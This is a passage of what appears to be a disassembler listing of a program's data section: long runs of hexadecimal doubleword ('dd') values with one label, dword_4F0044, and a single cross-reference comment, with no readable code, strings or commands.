		dd 0D819AA83h, 0C8210FA0h, 20759191h, 7F2B2CB7h, 966404A4h
		dd 9A9231EEh, 29809868h, 0AE5D1EE6h, 3464C500h,	3893FA3Ah
		dd 472E07EFh, 0F439AD89h, 4A50A2EAh, 0ED7B74D0h, 9E060107h
		dd 0F6A9F98Ch, 58DCF683h, 6E137A00h, 278B67A0h,	0A8C4686Ah
		dd 146C1F09h, 6274903Ch, 72DB816Eh, 0AAA60074h,	29F94C5Ah
		dd 65C81883h, 0D49FD089h, 299DCCA1h, 0D9C50EACh, 66E8A01Bh
		dd 3E10FB0h, 3363F171h,	34D29F5Dh, 95841453h, 3C8C9D5Ah
		dd 560D004Bh, 69C0BB0Bh, 7200DB52h, 51C8ECA9h, 0A9CE5D27h
		dd 79B5307Ch, 0AFB8C8D0h, 884014E9h, 0F98BE3A6h, 0C1811DAEh
		dd 423A4187h, 704374AFh, 618A73A0h, 45E85181h, 8C174C79h
		dd 840EDC10h, 15708737h
		dd 6700CB3Ch, 0F518E64Dh, 0E442661Fh, 287201F4h, 0E70E925Eh
		dd 1086076h, 42F15944h,	0C3404C43h, 0C0887C06h,	1441E45Eh
		dd 0FBEF94C7h, 0F020B200h, 8FAE6339h, 149B1A24h, 0B903EB60h
		dd 0F3D00035h, 60A734BFh, 0EFF48825h, 0E944A402h, 91C20C6Fh
		dd 29E2BBECh, 87B0C90h,	0CEBA2C00h, 2587CCB4h, 0E6391C8Ch
		dd 0F6DDC18Ah, 1B99703h, 48737626h, 0C860535Fh,	71F86904h
		dd 4A44900h, 0E0446433h, 0BC7B0B7Dh, 0F01876B5h, 58014D81h
		dd 5DE7F1F6h, 6872516Bh, 2E9C044Bh, 2C1CF242h, 0F84B4A6h
		dd 0CE455DC0h, 97DB00AFh, 1B659A64h, 6D9DCB01h,	3B678939h
		dd 428CD470h, 61B2300Ch, 0B95BA25Eh, 0BC65A57Ch, 7E81E501h
		dd 13F0C1B1h, 0EA110314h, 86A9820Bh, 2A9198E0h,	8E076B09h
		dd 5CF08A6Fh, 80844A27h, 0FCF68FF5h, 0F5C739E1h, 5513489h
		dd 0B81DB0F1h, 2CBC24F8h, 45019008h, 0FA500B56h, 1F00F8E5h
		dd 0F3BC59CDh, 0CAC809B1h, 28028026h, 0B8048C35h, 0B031E4C4h
		dd 0F04C4CB9h, 0B4360041h, 0AE3A061Bh, 9E77A3D4h, 971D7114h
		dd 91202194h, 0F9A81DBCh, 3884950Bh, 0B8EB2Ch, 0C55A2CADh
		dd 8403BBA6h, 7D3F6D02h, 0C03860CDh, 0A2B54C8Ch, 4F2C66F8h
		dd 0B3508182h, 6E024E9h, 0F4329142h, 0D44167A9h, 0D92C641Ah
		dd 509EACB4h, 1F0B61C0h, 3B03C320h, 0CE9F8B8Eh,	5A10C0ECh
		dd 0E76E9D86h, 0A5FC909Fh, 0E8BB00E6h, 483EEB32h, 59003926h
		dd 0AFD3DF5Bh, 54ABFE1Dh, 32987Eh, 44A61BFFh, 0C2EE4584h
		dd 0B77F3802h, 9AFE0653h, 6F87CDCh, 0B1E945BBh,	4D0A6F09h
		dd 280C69ABh, 0A959A44Ch, 0A441AF98h, 0BC0270A1h, 0E0412CF6h
		dd 0FCE4054Fh, 64A4058Eh, 40FB139Eh, 381BA538h,	9000FC2Bh
		dd 0CD51B6ECh, 5889057Ch, 37842C7Dh, 3D2400ADh,	0C0DF77A9h
		dd 0C37CBC99h, 0C1B88FB6h, 1FFBEF0Bh, 0E9DC4887h, 5DAC4473h
		dd 0B60C288h, 1A0D9E54h, 0D70E488Ch, 62EF233Ch,	54979438h
		dd 836D82D0h, 0E85CBFCEh, 0C5E7D640h, 0FF6A0052h, 18F48CDFh
		dd 0CC1C0C2Bh, 2D5214E2h, 9010780Ah, 2871C62h, 0E0E1A994h
		dd 0AC416F8Bh, 96A56062h, 283CF4E5h, 6ACC77A0h,	5225A28Bh
		dd 525E5BBCh, 0C145054h, 0A8B0A700h, 0A02CE513h, 8B7BA213h
		dd 4D1A2460h, 4E403CCFh, 0E250F798h, 2024BC19h,	36105456h
		dd 254512C8h, 886F6CC1h, 0F2442711h, 89083879h,	90FE969Ah
		dd 387F50C0h, 4A792C76h, 8DAB6E0Eh, 0D2DEC4B0h,	1C1F40E2h
		dd 0B9ED20Fh, 74862C65h, 9A125A04h, 10281951h, 5A64A0CFh
		dd 1CC7BACh, 0DBB1344Fh, 0FD26BDAEh, 3260513Ah,	0ECCC00A6h
		dd 88465807h, 20D88D5Fh, 302C77Bh, 9C97C60Ch, 96F89894h
		dd 40B4BC84h, 0A57F7204h, 81D1F724h, 891D6A00h,	564CB87h
		dd 0BA78FF1Fh, 3550C7AEh, 0A2406492h, 0E8CA00ECh, 0E3FA0272h
		dd 0FF5D00FBh, 330C8ED0h, 0C7069263h, 0A9E1D253h, 6BEA11B0h
		dd 23978088h, 75D10F5Bh, 389F4C28h, 9074F1D2h, 0D2C46680h
		dd 874CFDD8h, 7AC1C62Dh, 1280F93Ch, 0D4770D5Fh,	8D24FC51h
		dd 9509CEEh, 70B881ADh,	0E823637Ch, 0FC4D00B9h,	105919ECh
		dd 835D7D03h, 8152AF66h, 0F020D494h, 7FBA1C9Eh,	0C23E0748h
		dd 7353918Ch, 0A2DEC01Fh, 202F981Eh, 25101718h,	0D0B125E7h
		dd 1858CC02h, 0EC4094D4h, 0EEEDD495h, 0EAE40B1Ah, 805F5FD7h
		dd 9C2F6A82h, 68B1F9h, 8BF56061h, 0B000837Ch, 0C3C8B789h
		dd 0F2EDD08Ah, 0F684091Eh, 58E8FE27h, 0BA0239B8h, 5D25E166h
		dd 0F3A09952h, 88ED6A10h, 846C11B7h, 0FAC90C40h, 36320037h
		dd 0D65FCDF6h, 8700F4E5h, 18E3DBC3h, 9953BFC4h,	0BD7C6448h
		dd 6425C314h, 0C24BDB7Fh, 7E1062D6h, 12941268h,	0CA0A004Ch
		dd 6D3E47F6h, 22830A1Dh, 8DE9C4C1h, 6E25A8h, 59F2CC38h
		dd 5A01E2BFh, 823B029Eh, 0FAF0F630h, 14B60052h,	67849761h
		dd 5D5A057Dh, 66999027h, 0D183203Ch, 7380D4B1h,	0F93285F3h
		dd 40060F62h, 0E6B6F2EDh, 1BDB0928h, 1C7C82BFh,	0A0C6120Eh
		dd 4CD00751h, 59586AC8h, 1EA90A7Ch, 339F24F0h, 6C0CF7A2h
		dd 0F1F48744h, 0A0021B17h, 0AE04472Eh, 72F2C580h, 19A07CFh
		dd 50354EE2h, 37D7D520h, 9E7C6BE8h, 60FFAA00h, 19554046h
		dd 0EB452748h, 3C007065h, 9FD739F1h, 312909C8h,	0B002A96Bh
		dd 23109116h, 0E0C0BCA6h, 0C7D57B9Bh, 2880508Ah, 71A88BD3h
		dd 0FB5C2608h, 60D43DCh, 0CE610188h, 0B98D2017h, 2FB6DC88h
		dd 18A79C88h, 0A915E3DCh, 8B0644E8h, 950C2D81h,	0C8D84A84h
		dd 14F1632Ch, 8FD3EC44h, 84EE28E4h, 0E876AF25h,	0C0791EE0h
		dd 0BFD811F4h, 0B801E2C2h, 21BA2384h, 0F84A1956h, 0F34D3800h
		dd 6986B161h, 0E832470Eh, 9527454Eh, 180E7CD2h,	2286A62Eh
		dd 21975F42h, 29FF7378h, 0C7DC6DDDh, 5024942Ah,	4E6004DDh
		dd 0A7D558E1h, 0DB410BC9h, 0C868A475h, 4C001E51h, 0B83CFF5Ah
		dd 1AF1260h, 13731E7h, 9053B556h, 38C83298h, 2460F0A6h
		dd 0C61EAFh, 0F4CDD892h, 0ABBA4BF0h, 1894CA09h,	1E600497h
		dd 1FAD78F0h, 0F050E63Fh, 0D9FD4008h, 433C90B5h, 1D037153h
		dd 0BD7F805Bh, 38D4F212h, 0A984F86Ch, 50E3A690h, 5F6C61h
		dd 0C61930BCh, 0FD5B56D1h, 760047E0h, 0D7D4B3BFh, 7053ECF2h
		dd 4AA7E88h, 3001D5A1h,	0EF70811Ah, 2B241061h, 988000F6h
		dd 88AE2CD5h, 88A05A17h, 0A29D87BDh, 0DADD374Ch, 737222DCh
		dd 2FBA2A00h, 5ED06B8Bh, 45C5E1Bh, 8D4676E0h, 3DD80CE4h
		dd 7099CFFCh, 8D64DC00h, 0F39EA063h, 0F3FD4030h, 24887408h
		dd 84D81C06h, 0E98C8580h, 8570E0AEh, 246540h, 326D635Ch
		dd 396222EFh, 8F753700h, 0D54908DDh, 0AA61002Ah, 0DB8861Ch
		dd 80EBCF01h, 0D7138C81h, 484422E5h, 612AA0B5h,	0A8582F40h
		dd 59AD10B0h, 0B347D100h, 3A3C0525h, 24AA1FE2h,	11F1CE72h
		dd 0B0BC6E84h, 0D9136868h, 20D5E004h, 331BE4D0h, 7F5E0030h
		dd 71F37EC9h, 3800974Ah, 0F7ECB3B8h, 25EEB582h,	0C4CCA407h
		dd 0E3942C91h, 2A530060h, 68B56EA7h, 0E241058Ch, 0A867CFF6h
		dd 0E4C85B58h, 4A1FA4Eh, 1253A9F5h, 3D88CF2h, 7DD0112h
		dd 47C1C4BCh, 0F0593C37h, 0E49EABEEh, 46653D08h, 241E4111h
		dd 20EDF9D0h, 0D5FD893Ch, 2AAA00FEh, 7E5211DAh,	0AB0E28F5h
		dd 0A46768E9h, 0F1C49725h, 3D5A74B4h, 8ADA6B53h, 0A5310060h
		dd 4746FBDAh, 0E5A00088h, 0F02ED030h, 0D116F9A7h, 98C27CF7h
		dd 507C7A5Ch, 4BA86CE3h, 0EE64DCF1h, 3D4598Ah, 0CEA7124Dh
		dd 3B59E4C0h, 15D9A500h, 0F6DB49D4h, 78D259FBh,	8F80D458h
		dd 953BAC5Bh, 80A5813Fh, 8619B680h, 3820EAE8h, 69CE17Dh
		dd 1A8A43Ch, 0F1B9583h,	22FC5059h, 0E25CC542h, 25E616ABh
		dd 0C81EEB00h, 38D5A2h,	1C936EB4h, 0BB27078Eh, 0A6876200h
		dd 99955FC0h, 0BCF13D86h, 42942F80h, 0E81C8E63h, 80006890h
		dd 0D10173D9h, 20BC455h, 21A16BF7h, 845A6378h, 3A2D2402h
		dd 6989E1B4h, 74327EC0h, 36A00FCEh, 0C6696A88h,	3AE45149h
		dd 38CC5Ah, 9EF218D2h, 3864E4h,	4A50DD06h, 0A2D552F6h
		dd 0A08D3E00h, 543D0159h, 18B400D2h, 0D6B22AE8h, 0BE720D89h
		dd 10F838FDh, 23840ED0h, 0B8F64987h, 9D37DA74h,	9C52D88Bh
		dd 397CE00h, 0DBEF80AEh, 0B14407F2h, 50A18A3Ah,	9334E3C9h
		dd 9427ED4Bh, 2A4C9BD0h, 688800D5h, 20BAD0C6h, 5891FC78h
		dd 64A4C316h, 0ED900047h, 0F22EDBB1h, 0C007D52h, 0E6122925h
		dd 1669143Ch, 0C9686C1Fh
		dd 4A846D0Ch, 4C7BC0C1h, 4BAFCC70h, 518759Ah, 0CB7AFB78h
		dd 21784854h, 0AD2188CDh, 6427D91Ch, 6760C410h,	98081644h
		dd 0DE9C8D6Ah, 7CCED0C9h, 0E4BDA101h, 67A4D483h, 18958448h
		dd 518C266Ah, 3F037553h, 73EB1228h, 984100D3h, 0A261036h
		dd 0B4002939h, 40234A3Dh, 124BD538h, 44FDD90Eh,	21946E1Ch
		dd 0CC01DD33h, 10806CB2h, 0D522B844h, 90C86800h, 0EB8A6BBCh
		dd 3CFF4C1Bh, 30133BCEh, 79E60AC4h, 77C32D0Ah, 0D5108C7Bh
		dd 0AFAC71C4h, 0F4056060h, 0AF102C59h, 2CA00CEh, 486A15Dh
		dd 23D67F05h, 5C91784Fh, 9C2A6ACCh, 9302BAF0h, 9777F80Eh
		dd 2528E74Eh, 69F8B0C4h, 0A35021F9h, 3D80BCF0h,	494C0E71h
		dd 0AA021605h, 0DCA1CFh, 0E444F934h, 80170A3Bh,	31692B87h
		dd 0F6D684F4h, 0A3CD0E8Ah, 7E42B635h, 0A4708205h, 8B44F0C8h
		dd 706933D9h, 836445DBh, 0B0D7F16Ch, 71A61920h,	3EA13B01h
		dd 0B46C23D4h, 1A94A4D4h, 90C181D9h, 3B5AECE1h,	0AF4B8421h
		dd 0F8D92402h, 6DBD9100h, 7DF3CDA0h, 8DF609CAh,	9CE0A342h
		dd 0FCA165A4h, 0AB409480h, 807788C8h, 5F36D1F8h, 700A443h
		dd 13B49328h, 753B6750h, 75F85C8Eh, 0F94D2C00h,	6B5C382Dh
		dd 2602787Eh, 583F6FFAh, 60B4F689h, 7DE4E2E6h, 3CEB8803h
		dd 0ABED1962h, 9CF88CDDh, 16FFD3C5h, 5A84F0DCh,	6B71EE0Bh
		dd 0CC7C6060h, 0E920890Eh, 66FD127Ah, 2B270B34h, 5C4083FCh
		dd 44840F60h, 0FA095367h, 0F904D8BAh, 8E9D06C8h, 2091788Ah
		dd 2E0AC80h, 0E8AD40h, 7909F668h, 0CE01E5A9h, 62E21100h
		dd 1602F783h, 373A0ECCh, 73403406h, 8972707Ch, 1C0B9603h
		dd 0D82381FBh, 5A5BEE9h, 95ACEF1Bh, 0B1168778h,	409F276Ah
		dd 320D6B4Ch, 0F596B900h, 0AABCF847h, 0E9A9093Ah, 5499CC6Fh
		dd 0A6581059h, 0EC195083h, 0C1FD4E4Ch, 71F33290h, 91842AEh
		dd 0C41F7A24h, 48249CBh, 5C45AC93h, 0A4E9CCh, 92BDF0F5h
		dd 3B471Fh, 4C85E4A2h, 0D8DDF496h, 43204E97h, 76B01F0h
		dd 0AC90D6F5h, 266C236Bh, 53A887E8h, 0EE0F4002h, 8AFB4373h
		dd 5A6034B4h, 7798D812h, 0D390075h, 2A90E33Ah, 6B021E40h
		dd 3B4B0E8Ch, 78E88403h, 12BC4333h, 3D008CA2h, 0F594160h
		dd 0AFF65562h, 23882F9Dh, 588E36BFh, 0A86072A9h, 0FD1B77ABh
		dd 0DDD990C3h, 45E1122Fh, 0C260ECE9h, 75A4D697h, 7CDEACB2h
		dd 3E5ABC00h, 0CDD44Ch,	0F0185356h, 9D9980C1h, 1572BD07h
		dd 0AD402564h, 889F36h,	8267B048h, 0F8EC05F9h, 7D38030Fh
		dd 4209417Ah, 3CC107AFh, 9D93BCFCh, 0A3943C10h,	2B3BDE00h
		dd 43E57D87h, 55C7036h,	7663292Ah, 6D408CFBh, 0DAF09251h
		dd 0FF0CF419h, 0EE6B7300h, 9D51ECA0h, 0B8FE4987h, 0F09D809h
		dd 0EA3A1D00h, 561F20B1h, 0F12537CDh, 60EF4370h, 72D96113h
		dd 137D08A3h, 48A9D7h, 0F3795A4Ch, 1B017239h, 0BFFE204Ch
		dd 207B5C82h, 0A4E5AB1Ch, 44645100h, 239DDE06h,	0EC4B9582h
		dd 0C0C74CF9h, 2C00431Bh, 0D1C286Bh, 10E7537h, 0C1BB8874h
		dd 0D070A5A1h, 0F100CDAFh, 0D896F9A8h, 4BB6C7DEh, 6BB88888h
		dd 0CDBAC201h, 13702073h, 0A93F30h, 952550F0h, 37EC347Dh
		dd 47F11F1Eh, 86816E5Dh, 96C71A0Bh, 136339E8h, 1CF3A116h
		dd 68C5E774h, 55ED8700h, 1320856Bh, 14F988Fh, 6074FCC8h
		dd 70216ABFh, 1CCC908h,	805307ECh, 7013A5F8h, 7AEF0AEAh
		dd 0DC2F5Ch, 70AD2DF3h,	0CDABDC4h, 0AA75F1A2h, 8989511h
		dd 81B2A725h, 0B005D994h, 7C3CCA2Fh, 4A74DE3Eh,	8374D8h
		dd 71105AD7h, 7FF458F9h, 0AC7ADA02h, 0FA505E9Dh, 0D82BFDD4h
		dd 83002794h, 9AE63993h, 0BD0DFh, 0A356F32Ah, 7B3FCA2Eh
		dd 2980671Dh, 1A26F03Eh, 44007E9Ah, 0FC9E2387h,	6EB80065h
		dd 3D8CA969h, 2E7C27B9h, 32370A02h, 0C031FA9Dh,	9554CAh
		dd 2570BD88h, 13743D83h, 303A7637h, 7C44F2C3h, 0A03C0D88h
		dd 0E330A893h, 0B188510Ch, 601A390Bh, 0FA2A199Fh, 0B400D2B8h
		dd 20656E42h, 0FD6C172h, 2BDF274Bh, 14985DE1h, 1B318024h
		dd 8BEBBA53h, 0BC9400CAh, 71C10B30h, 310CEF98h,	718F1874h
		dd 0FC3B1A23h, 48803926h, 22FAD7E0h, 35A5C900h,	85154FD3h
		dd 30316196h, 70B6A483h, 0EFF3D410h, 0E8773976h, 66E66500h
		dd 0E4696136h, 0E0976FEh, 0A038496Dh, 0F0391DC0h, 9C00EB5Eh
		dd 4B9890F7h, 0E4FA748Ah, 3EC933A9h, 9009660h, 6CB8BE83h
		dd 0F7EDC17h, 94595368h, 370197A9h, 8838A504h, 0B8A831h
		dd 0A4F12945h, 67B54A9h, 378AA3Fh, 15ABAF90h, 2EE822BDh
		dd 74D10201h, 0B86927BBh, 0B05F4h, 19884F43h, 54AFF4F0h
		dd 31A07700h, 0A64B275Eh, 0E298057Fh, 20D376BCh, 0AF18A4ECh
		dd 558D3000h, 131CE142h, 7CD53339h, 0EA81521h, 0ED003C37h
		dd 22280B0Dh, 0BE730Ch,	0A9D8CE8h, 0A843EC9Eh, 0F7230E00h
		dd 698FC4CDh, 26B8A11Bh, 4C897810h, 22BE081Ch, 0A20F3047h
		dd 0E05303C5h, 39FA9B04h, 48852489h, 2A7220Ch, 899C9D10h
		dd 0CD796040h, 15B8BB05h, 0F0032E96h, 0C04A5FFCh, 883AA122h
		dd 9952FA38h, 0FC2294h,	87D3BFA2h, 0F766FF8Dh, 29580B00h
		dd 78C9D479h, 48ECF84Eh, 0D7032059h, 0BC8BE7F9h, 0BB8447E5h
		dd 0A2680031h, 77E0A7A3h, 376C100h, 70EBA9FAh, 21989057h
		dd 0AC181BF2h, 9862781h, 88AA6E9Ah, 11169019h, 0C422A274h
		dd 0C009843h, 0F66A196Ch, 0CE02A6BAh, 5FA074D6h, 0BC9B0138h
		dd 1675E405h, 0D35070D9h, 832B1A11h, 0FD435479h, 0BDB0C8D5h
		dd 0B58C0079h, 0D9465B3Ch, 3903AC9Ch, 6B966FABh, 756080F4h
		dd 0CF011E26h, 4BE30085h, 0A30E5898h, 61258900h, 59B6A67Bh
		dd 28BC0070h, 3B487F5Ch, 54008241h, 0C6475BC4h,	0E62394h
		dd 1157EA53h, 211513CFh, 92F203Eh, 2827C77h, 0DDB6302Ch
		dd 344DEE80h, 0BD053B49h, 275F469Dh, 3838844Ch,	0D5232952h
		dd 54833EA8h, 6BDDC63h,	273797E0h, 0AF0EE9C0h, 38492D08h
		dd 0F0168ADh, 0A6059D20h, 0DE3EC419h, 14598960h, 0F85D4E5h
		dd 48848CDh, 0A7816FE0h, 9F136591h, 70513D01h, 82FDC4E4h
		dd 0A5F69B40h, 4848D053h, 0AD207F38h, 75D230B8h, 67E85131h
		dd 190F1D00h, 42AFC30Dh, 0BEB73123h, 331EC9BCh,	4CE424A8h
		dd 0FC2F968Ah, 0D19AAA80h, 0F5B49EFh, 0CE4CC240h, 29471540h
		dd 6F00B888h, 0B90A2A05h, 48B0C158h, 8A26343Ch,	0D7CC6084h
		dd 3738BD16h, 789AB398h, 836900ABh, 63627DF6h, 0E107EA96h
		dd 50E24ECDh, 227B74D0h, 0BFB02402h, 0E1399CA0h, 6100F211h
		dd 0C5165FC3h, 2C0075B8h, 307D0EDAh, 9C15790h, 1A24151Fh
		dd 1D80E093h, 5E004FC4h, 20A0F67Fh, 92BE6E96h, 0E086E8h
		dd 0C989446h, 24D15E12h, 6E1EF81Eh, 0C61552C0h,	923A210h
		dd 8A9DFDBFh, 80202C87h, 0C36EFCEDh, 77D0A402h,	0B8F43B2Dh
		dd 1F128958h, 1F4032D5h, 7644C06Bh, 0AB654775h,	7B03207Fh
		dd 0C901A22Ch, 0AAE8F104h, 0C700DC32h, 9BF82211h, 26000379h
		dd 145B2C13h, 118F27Dh,	0BB49887Fh, 42440676h, 1E234AB0h
		dd 2AF0E0AEh, 12B7EE6h,	437E2448h, 809A963Bh, 0E30387A1h
		dd 610F986Ah, 0CC38713Fh, 5B7820D6h, 57458CA8h,	21C23CECh
		dd 401AC2BAh, 3B2A58E1h, 8D0BDE1h, 0D52212EFh, 0EB2C4074h
		dd 1D09C33h, 9556D700h,	1F4C788Ch, 0DBB7022Ch, 8E911757h
		dd 4F1D8C6Eh, 70C0C5CCh, 5B4C5814h, 67443EF8h, 346AB180h
		dd 4F93B90Fh, 4A31D300h
		dd 0F83B90E8h, 0D18C60CDh, 0D8F56352h, 3F982302h, 601ACF0Ch
		dd 40153794h, 9B52396Eh, 0A79809D0h, 9C14A8h, 768F958Ah
		dd 1A3560EAh, 9A24C10Eh, 2CE8AE0Ch, 515683Bh, 0F48C23F7h
		dd 1A04C8C9h, 69599360h, 1644A729h, 30F50C50h, 3D032244h
		dd 820288h, 0C5473565h,	0A804D693h, 7E8C3300h, 1F43C7DDh
		dd 0A9AC0016h, 0CF109F45h, 0EE0CEAEFh, 0A96EBA8Bh, 0E981459h
		dd 2980CC38h, 608F2C1Bh, 333E8A00h, 7409C925h, 0E0AC295Fh
		dd 0FC3806E0h, 0C8C0A984h, 0EC880EBDh, 596F60ACh, 0A694CB98h
		dd 0D5E46600h, 2E596C87h, 180401EDh, 0FFAF6913h, 8EE430B2h
		dd 6700FA79h, 0A6BC43AAh, 0F7C5B4h, 0BEEE3031h,	627EC4C6h
		dd 36D5700h, 0FD2605FEh, 9C14308Ch, 941B4681h, 19E98913h
		dd 0ED4E9500h, 3FDEE2EAh, 4C8A97Ah, 13732C76h, 0AD26060h
		dd 82E8CF1h, 3301244Ah,	9A76BFE7h, 91FDF840h, 236D2EFAh
		dd 3850010h, 9CA984D7h,	4470C309h, 0AAF08129h, 0EADC5FE8h
		dd 43F697h, 744F5A5Eh, 0DBD1145h, 6DB940F1h, 0F0077ACh
		dd 71197DB7h, 0AC76A53h, 9AF9FC70h, 8E8B00B6h, 96875ED5h
		dd 7B050EFh, 0AD00BA9Ch, 0C62131D8h, 0A7F8A2h, 0A33FE551h
		dd 43CB3E26h, 50282EEh,	5A9D3BB6h, 0B07452AEh, 570A012Ch
		dd 0A45F98A1h, 2FB470A5h, 0F810608Ah, 38D4FFA2h, 0F8C16116h
		dd 0F02F3CB1h, 0E603F082h, 29E58878h, 89A9BA05h, 7AEC182Ch
		dd 38B700FFh, 139AAEE8h, 0EB00CB9Fh, 632D3202h,	0CF5BA45h
		dd 487514B0h, 8004F230h, 11D02CCAh, 0AD6B1090h,	3C580E2Bh
		dd 44C081A1h, 0A232F449h, 5C955E12h, 0E0F6E40Fh, 0C90EF15Dh
		dd 0D2393C08h, 0B2F2260Ch, 3A2E6F99h, 0BB1A5455h, 98344099h
		dd 0B970790Bh, 0B20119Ch, 8BEA2E87h, 7D73060Eh,	1F87189h
		dd 0C968A023h, 0D078F538h, 0F70A6E98h, 14F10309h, 0A0200181h
		dd 0D006CB50h, 9A34AB50h, 0F4C48F07h, 3D6266A4h, 0ED55E0F7h
		dd 851B2410h, 96260090h, 44A201FEh, 821E0B04h, 489020D4h
		dd 77DD60Ch, 6752B0AAh,	1451C2A2h, 0C1EC7CE4h, 0BA2F0100h
		dd 0BC505D3Bh, 3A11C08h, 0F5C940A2h, 154A46B4h,	0B130F47Dh
		dd 0DF59B162h, 17889AD0h, 96F2E9h, 0FE949C69h, 6B00355Ah
		dd 1B79A34Bh, 3A23397Dh, 0BD00AA7Fh, 5CDD602Fh,	982E899Fh
		dd 9BC0FC6Ah, 0B8EE0E55h, 2AFA0520h, 88176507h,	0CC006790h
		dd 0BC6C710h, 0ECF9BA8h, 0FC043B2Ch, 0A2419AC0h, 90FF536h
		dd 6A52B3FEh, 9645806Ah, 3858A420h, 0E93700E3h,	171F3C48h
		dd 69F841EEh, 1BD9B80h,	0BF2E5432h, 0F289CC05h,	3F301852h
		dd 0AEA4F926h, 0A9FA129Dh, 9FC0804Fh, 0C5679614h, 6C848531h
		dd 54D041C5h, 0EC5F9D2Dh, 48BD01C6h, 0A20DF45Ah, 9B7460B3h
		dd 482EC20h, 91B108FEh,	80D4C422h, 0A932589Ch, 622E8600h
		dd 5D022B9Fh, 2610B27Ah, 0C0902297h, 0C4886829h, 2B805B04h
		dd 0C0879F7Fh, 0D3051064h, 21DC4169h, 0C17CE18Ah, 80ADE07Bh
		dd 0A17E0200h, 0DD259EB5h, 2C1B5031h, 210A00F4h, 10BC9B8Ch
		dd 0D498F629h, 21BDA3A1h, 4D4BD054h, 0A4902279h, 3E00E093h
		dd 4C1EA847h, 0E6AF2E6Eh, 0A04BDCh, 2E5A0302h, 87508400h
		dd 9A8C75F7h, 3D1F00E1h, 46019766h, 85C8D36h, 60822634h
		dd 0FC839280h, 68C1F4h,	3CA8ABA2h, 0DC0722FAh, 7A880354h
		dd 0B13BBD24h, 85343A0Bh, 0B4816AF0h, 5822025Fh, 7E801C3Ch
		dd 0F1CBE08Dh, 0A40063EDh, 0A35836C3h, 1D02501Ah, 4E4C170h
		dd 0E28C6DFDh, 5DF0038h, 7A511F40h, 0E2760F58h,	44C085CBh
		dd 9DE4C4FBh, 5C3D4128h, 0A30BEA09h, 6E384801h,	0E2E900D4h
		dd 51B80AA1h, 9148CFF7h, 34D124h, 3E7CB44Dh, 18FF4A5Bh
		dd 0FEA7C388h, 0E001E3Bh, 39963DF6h, 21B1707h, 19B134F4h
		dd 0D872EF7Eh, 7D1A3D15h, 35F52CE4h, 97280702h,	0C389C07Bh
		dd 26B1141Fh, 870288F3h, 0F6400159h, 71FA7141h,	0D42CACh
		dd 0A47DD40Ch, 4E6E5188h, 0CCA01213h, 460060D8h, 9273EF2Eh
		dd 20A41BCh, 0FAB2644Bh, 58E178B1h, 5CFC1016h, 0D7C202E4h
		dd 709A56F2h, 1A600870h, 3FF0B9B1h, 75FF1C28h, 0E017B94h
		dd 48860B2Fh, 0F17430FCh, 0C4900A48h, 7098A426h, 67D18811h
		dd 271B281Ch, 14829379h, 85D358D0h, 7B3C023Ah, 0F7414260h
		dd 0CF4B60DFh, 6C720287h, 0EFBB0977h, 32ED2841h, 608284E4h
		dd 4A028C8h, 88515D2Fh,	957CB0F4h, 7C1DD38h, 0ED44F293h
		dd 0D4D6B440h, 33AA07BFh, 0C7E8D887h, 0BD0D6101h, 472EC0Bh
		dd 0B496A013h, 64287419h, 179D5FF0h, 0C0FD991h,	0ED50018Eh
		dd 8B41B100h, 0DF2330E7h, 253D0008h, 0F85D4403h, 78C0FD55h
		dd 63B5102Bh, 779200EDh, 0D24204F1h, 9380DF52h,	514061CBh
		dd 0F42AA875h, 0F9B0D7BAh, 42922400h, 9CD9C15Ch, 0A1ECD1h
		dd 0F6788913h, 0E2BF675Fh, 4F6F38F8h, 0DA7E4041h, 0C792B3h
		dd 0D7B6E803h, 19FD1F95h, 0B15CC8C1h, 79838617h, 6DACC0EEh
		dd 0C2EBA0E0h, 49472A30h, 35F864h, 95B39124h, 0DC88427Eh
		dd 0C2A494A8h, 7D5A0B00h, 0AA2B4A8Bh, 0E525057Ch, 0C3C0E870h
		dd 501C0A39h, 0EA2C533h, 9CE7602Ch, 0D9830900h,	0E8149A2Fh
		dd 0BC3652h, 150AFA26h,	26346494h, 0DC44235h, 0CC70142Ch
		dd 9001899h, 0C224E60Dh, 5D0607h, 79128E49h, 0F6E91F6Fh
		dd 0A1C58B30h, 9AF823F2h, 7CBC002Fh, 0D3381BBFh, 0B60AB308h
		dd 0A4B2528Ah, 0E7060900h, 60E2ED92h, 0A044A9C9h, 41603910h
		dd 0CACDC511h, 2ED93FB3h, 991D2680h, 5438E90Ch,	9CD39E2Ah
		dd 18397722h, 89C86F33h, 0B4A8F1B4h, 6670AC8Ch,	5A99603h
		dd 90AB75A6h, 0B0318Dh,	9E5AB921h, 4168519Dh, 0EEE9FD00h
		dd 0EDFEAB65h, 7FDDF444h, 0CAC801CCh, 0F9D64BFCh, 9080F058h
		dd 0D119666h, 0F2972078h, 8FE4EC75h, 2E03891Ch,	6200A868h
		dd 55139B9Eh, 3B30A7h, 43F75D6Ch, 83151FD8h, 0D10022F4h
		dd 0A28A9DD3h, 1E5EBA8Ch, 4050095Dh, 95C7CCC4h,	0E9E8DD94h
		dd 10D294A8h, 12E18B60h, 302668BDh, 0DDC0A2D6h,	29C5D3C9h
		dd 885EDA88h, 32831EC0h, 58A587B4h, 5C3E25DBh, 0C72AC33Fh
		dd 517EA0h, 837A89AEh, 7BC1E28Eh, 0A1489160h, 60E5DB25h
		dd 0DA3E59D9h, 0D61C123Fh, 4E8052D1h, 0C5894787h, 0FB0D00C4h
		dd 9BCDCEADh, 0F8011266h, 3B6196Dh, 10BA995Bh, 27154100h
		dd 14B4BF0Eh, 0EFC7E807h, 76909E83h, 79AAD68h, 21A1E0Fh
		dd 0D1CF5030h, 9F0EBF0Dh, 0A2B8EBC7h, 0A080A8F1h
dword_4F0044	dd 9D82F380h, 94E65494h, 0D49A0012h, 8005D634h,	3F72B967h
					; DATA XREF: ___:0042CC8Co
		dd 0C50DA612h, 77639060h, 47818A7h, 0CF13488Eh,	4635C016h
		dd 8164AB00h, 98F59CC1h, 17ED0F18h, 92CAB2h, 6AD21DE4h
		dd 0DD8047FCh, 7099CFh,	26C715F8h, 43043A4Ah, 0EDE75435h
		dd 126405h, 14F382B0h, 2608055Ch, 28E9889Dh, 18790CB4h
		dd 6C1194ACh, 0ECFAFF00h, 0D450E59Bh, 407100DAh, 0BBE9D680h
		dd 0D5017A1Fh, 0ED6C2BC7h, 21D0169Eh, 8F811EBAh, 911D18E2h
		dd 92DB88h, 0A7827E00h,	0AD8657F4h, 5FA51DF9h, 997D0AAFh
		dd 3700BDA4h, 0FB8DC3BEh, 0A400B4F8h, 0BA1FCB10h, 7FD91C1h
		dd 7BEC9379h, 0E8624F86h, 5864AF38h, 4ADC9700h,	2080A39Ah
